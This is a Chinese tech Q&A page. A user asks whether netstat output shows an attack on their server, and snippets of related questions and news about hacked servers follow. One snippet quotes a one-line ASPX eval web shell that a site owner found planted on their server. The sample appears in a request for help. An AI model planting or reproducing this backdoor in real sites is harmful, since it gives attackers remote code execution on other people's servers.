出现如下现象，说明服务器被攻击了吗？

问题描述

netstat-na结果如下：如果真的受到攻击，我该如何处理？谢谢大家！ActiveConnectionsProtoLocalAddressForeignAddressStateTCP0.0.0.0:800.0.0.0:0LISTENINGTCP0.0.0.0:1350.0.0.0:0LISTENINGTCP0.0.0.0:4450.0.0.0:0LISTENINGTCP0.0.0.0:10250.0.0.0:0LISTENINGTCP0.0.0.0:10260.0.0.0:0LISTENINGTCP0.0.0.0:10300.0.0.0:0LISTENINGTCP0.0.0.0:10360.0.0.0:0LISTENINGTCP0.0.0.0:10500.0.0.0:0LISTENINGTCP0.0.0.0:10510.0.0.0:0LISTENINGTCP0.0.0.0:10520.0.0.0:0LISTENINGTCP0.0.0.0:10530.0.0.0:0LISTENINGTCP0.0.0.0:10540.0.0.0:0LISTENINGTCP0.0.0.0:10550.0.0.0:0LISTENINGTCP0.0.0.0:10560.0.0.0:0LISTENINGTCP0.0.0.0:10570.0.0.0:0LISTENINGTCP0.0.0.0:10580.0.0.0:0LISTENINGTCP0.0.0.0:10710.0.0.0:0LISTENINGTCP0.0.0.0:10740.0.0.0:0LISTENINGTCP0.0.0.0:13620.0.0.0:0LISTENINGTCP0.0.0.0:13640.0.0.0:0LISTENINGTCP0.0.0.0:14320.0.0.0:0LISTENINGTCP0.0.0.0:20200.0.0.0:0LISTENINGTCP0.0.0.0:33720.0.0.0:0LISTENINGTCP0.0.0.0:33890.0.0.0:0LISTENINGTCP0.0.0.0:56310.0.0.0:0LISTENINGTCP127.0.0.1:10700.0.0.0:0LISTENINGTCP127.0.0.1:1070127.0.0.1:1071ESTABLISHEDTCP127.0.0.1:1071127.0.0.1:1070ESTABLISHEDTCP192.168.1.2:8024.83.145.198:1394TIME_WAITTCP192.168.1.2:8024.83.145.198:1396TIME_WAITTCP192.168.1.2:8024.83.145.198:1398ESTABLISHEDTCP192.168.1.2:8024.83.145.198:1400ESTABLISHEDTCP192.168.1.2:8058.16.224.4:1334ESTABLISHEDTCP192.168.1.2:8058.23.117.46:36528FIN_WAIT_2TCP192.168.1.2:8058.31.83.142:2276TIME_WAITTCP192.168.1.2:8058.31.83.142:2278TIME_WAITTCP192.168.1.2:8058.31.83.142:2287ESTABLISHEDTCP192.168.1.2:8058.31.83.142:2288ESTABLISHEDTCP192.168.1.2:8058.31.86.98:4463TIME_WAITTCP192.168.1.2:8058.31.86.98:4465TIME_WAITTCP192.168.1.2:8058.31.86.98:4467TIME_WAITTCP192.168.1.2:8058.31.86.98:4469TIME_WAITTCP192.168.1.2:8058.31.86.98:4471TIME_WAITTCP192.168.1.2:8058.31.86.98:4475ESTABLISHEDTCP192.168.1.2:8058.31.86.98:4477ESTABLISHEDTCP192.168.1.2:8058.31.86.98:4479ESTABLISHEDTCP192.168.1.2:8058.31.86.98:4481ESTABLISHEDTCP192.168.1.2:8058.31.86.98:4483ESTABLISHED。。。。具体情况请看附件

时间： 2024-10-18 06:04:49

出现如下现象，说明服务器被攻击了吗？的相关文章

一次服务器被攻击的应急行动

本文讲的是一次服务器被攻击的应急行动, 如果你的PHP服务器被黑客入侵时该怎么办?这是我最近处理linux web服务器发现的一个问题.PHP服务器被黑时,会出现新的PHP文件,这与运行在服务器上的wordpress应用程序和特定的用户代理没有任何关系,所有的流量都被重定向到另一个站点. 应急准备  在第一次被攻击之后,我已经禁用了所有他所检测到的恶意文件,并修复了重定向,直到服务器再次被黑客攻击. 为此,要将这些应用程序转移到新的设备进行分析,我必须在原系统上对下列3个线索进行取证: 应用仍然

tomcat-阿里云服务器被攻击导致被文件删除

问题描述 阿里云服务器被攻击导致被文件删除 使用阿里云部署web项目服务器(tomcat + mysql+window2014),项目刚上线没多久,就被黑客攻击,部署的项目文件全部被删除,请问大牛,能分析下黑客是通过什么途径办到的,该怎么去防护,能提供解决思路就更好了.急~ 解决方案 不知道你是用的什么语言,如果是php一类的脚本语言,如果黑客上传一个精心构造的脚本文件,包含删除的脚本,并且在某种条件下触发执行,就可以删除你的文件.这种攻击方式叫做web shell攻击.http://www.2

安全-服务器被攻击了！帮忙看下这条日志

问题描述 服务器被攻击了!帮忙看下这条日志 为什么是用 安全ID:SYSTEM 创建的成员111$ 已向启用了安全性的全局组中添加某个成员. 主题: 安全 ID: SYSTEM 帐户名: ISE$ 帐户域: WORKGROUP 登录 ID: 0x3e7 成员: 安全 ID: ISE111$ 帐户名: - 组: 安全 ID: ISENone 组名: None 组域: ISE 附加信息: 特权: - 解决方案 4728001382600x80200000000000002283772Security

sql注入-服务器被攻击,多了一个image.aspx文件

问题描述 服务器被攻击,多了一个image.aspx文件 我的网站服务器莫名其妙的多了一个image.aspx文件,文件内容是<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>,请问我的服务器是不是陪攻击或注入木马了啊!如果是的话,我的服务器要如何配置才能防止这种木马 解决方案 有可能,设置是服务器防火墙,控制用户权限,安装系统安全补丁,减少

防止服务器被攻击的妙招(推荐)_服务器其它

教你一些简单的配置防止服务器被攻击! 1.添加新用户并分配root权限: 先用root权限登陆 adduser xxx(你设置的用户名) passwd xxx(省略输入密码) 放到wheel组中:gpasswd -a xxx wheel 切换到xxx用户:su xxx(此时并没有权限) 命令前面加上sudo,就有root权限操作 2.禁止linux的root登陆: sudo vim /etc/ssh/sshd_config PermitRootLogin yes改成PermitRootLogin

360称泄密源于服务器被攻击

本报讯 (记者林其玲)针对金山"360收集并泄露用户隐私"的指责,昨天360发表公开信称,这一事件的原因是360内部服务器被攻击.金山表示,"信息都是从Google里搜到的." 360:被攻击后信息被搜索引擎抓取 2010年12月31日,金山紧急召开发布会,称360客户端搜集包括访问网站记录.搜索记录以及用户名密码等用户信息,目前这些信息已向外界扩散,普通网民已经可以从Google等搜索引擎上获取类似数据. 当天晚间,金山向其用户"弹窗",发布&

服务器被攻击 求助。

问题描述 web容器为IIS6.0,站点全为静态页,每个站点下的index.html文件被篡改加上一些链接.静态页不是系统生成的,是自己做上传的,而且只改index.html这个文件. 解决方案 解决方案二:你得先确定是你的服务器被人按了后门,还是ftp密码被人窃取,或者你其他网站管理工具被人知道了密码,这些事其实网管比你更熟悉你应该多请教下解决方案三:还分析不出来!解决方案四:这是被篡改的页面代码,加了这么多乱七八糟的连接解决方案五:引用3楼ssaaiill的回复: 这是被篡改的页面代码,加了

有关SQL服务器被攻击的问题

前不久,配置好在IDC机房托管的服务器后,回到公司,想来是可以安心工作了. 没想到过了几天经常发现程序运行不正常.最后一查之下发现是SQL服务找不到.连上服务器后,发现在SQL服务停了,重新开启,过了几分钟又这是类似情况.反复几次,还是不能解决.只有静下心来研究一下. 结果发现定时会有不同IP向服务器的1433端口发送UDP数据包,就是这些数据包让SQL服务给停了的. 唉,不得不再次说到重庆联通IDC机房的安全问题.算了,言归正转,查了不少资料,发现这是SQL2000的一个安全漏洞,利用这个BU

站长快讯：腾讯服务器被攻击导致QQ掉线登陆不上

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断淘宝客 站长团购 云主机 技术大厅 北京时间17.59分开始,QQ频频掉线,出现登陆不上的状况,相信很多人都出现这个问题,刚刚几个朋友打电话过来问我怎么回事,然后自己也跟到掉线,这次是腾讯掉线比较长的时段,18.03分开始才能够恢复部分用户能够登陆.到现在18.30分腾讯服务器还没有恢复正常使用,到现在为止小编的QQ还处于离线登陆状态,不知道是哪位大仙在攻击腾讯服务器,